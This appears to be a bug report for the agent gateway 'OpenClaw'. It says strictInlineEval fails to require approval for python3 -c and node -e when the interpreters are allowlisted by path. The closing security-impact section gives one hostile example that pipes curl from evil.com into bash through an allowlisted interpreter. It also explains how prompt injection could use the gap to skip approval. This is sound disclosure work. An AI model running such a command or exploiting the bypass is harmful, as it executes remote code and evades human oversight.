[Bug]: strictInlineEval has no effect when using allowlist mode with path-based entries

Summary

tools.exec.strictInlineEval: true does not block or require approval for inline eval forms (python3 -c, node -e) when exec security is set to allowlist mode and the interpreter is allowlisted via a path-based entry (e.g., /usr/bin/python3). Commands execute without any approval prompt.

Environment

• OpenClaw: 2026.5.7
• OS: Linux 6.8.0-106-generic (Docker container)
• Install: Docker (source build)
• Exec host: gateway

Configuration

openclaw.json:

"tools": {
  "exec": {
    "security": "allowlist",
    "ask": "on-miss",
    "strictInlineEval": true
  }
}

exec-approvals.json:

{
  "defaults": {
    "security": "allowlist",
    "ask": "on-miss",
    "askFallback": "deny"
  },
  "agents": {
    "main": {
      "security": "allowlist",
      "ask": "on-miss",
      "askFallback": "deny",
      "allowlist": [
        {
          "pattern": "/usr/bin/python3",
          "source": "allow-always"
        },
        {
          "pattern": "/usr/local/bin/node",
          "source": "allow-always"
        }
      ]
    }
  }
}

Steps to Reproduce

1. Set tools.exec.strictInlineEval: true in openclaw.json
2. Set exec security to allowlist mode in both openclaw.json and exec-approvals.json
3. Add /usr/bin/python3 to the allowlist with source: "allow-always"
4. Restart gateway
5. Execute: python3 -c "print('this should require approval')"

Expected Behavior

Per the docs: "inline-eval carriers are not persisted automatically" and commands like python -c "still need explicit approval" when strictInlineEval is true. The command should trigger an approval prompt even though python3 is on the allowlist.

Actual Behavior

python3 -c "print('test')" executes immediately without any approval prompt. Same for node -e "console.log('test')". The strictInlineEval setting appears to have no effect at all.

Notes

• Other allowlist behavior works correctly: unlisted commands (e.g., wget) correctly trigger approval prompts
• Shell redirects and pipes correctly trigger approval even when the base binary is allowed
• The security advisory GHSA-q2gc-xjqw-qp89 describes a related but different issue (approval-timeout fallback bypass)
• Issue #65102 describes the opposite problem (strictInlineEval blocks when security is "full")
• This may be specific to path-based allowlist entries vs hash-based =command: entries

Security Impact

Without strictInlineEval working, a prompt injection could exploit an allowlisted interpreter to run arbitrary code (e.g., python3 -c "import os; os.system('curl evil.com | bash')") even though curl itself is not on the allowlist.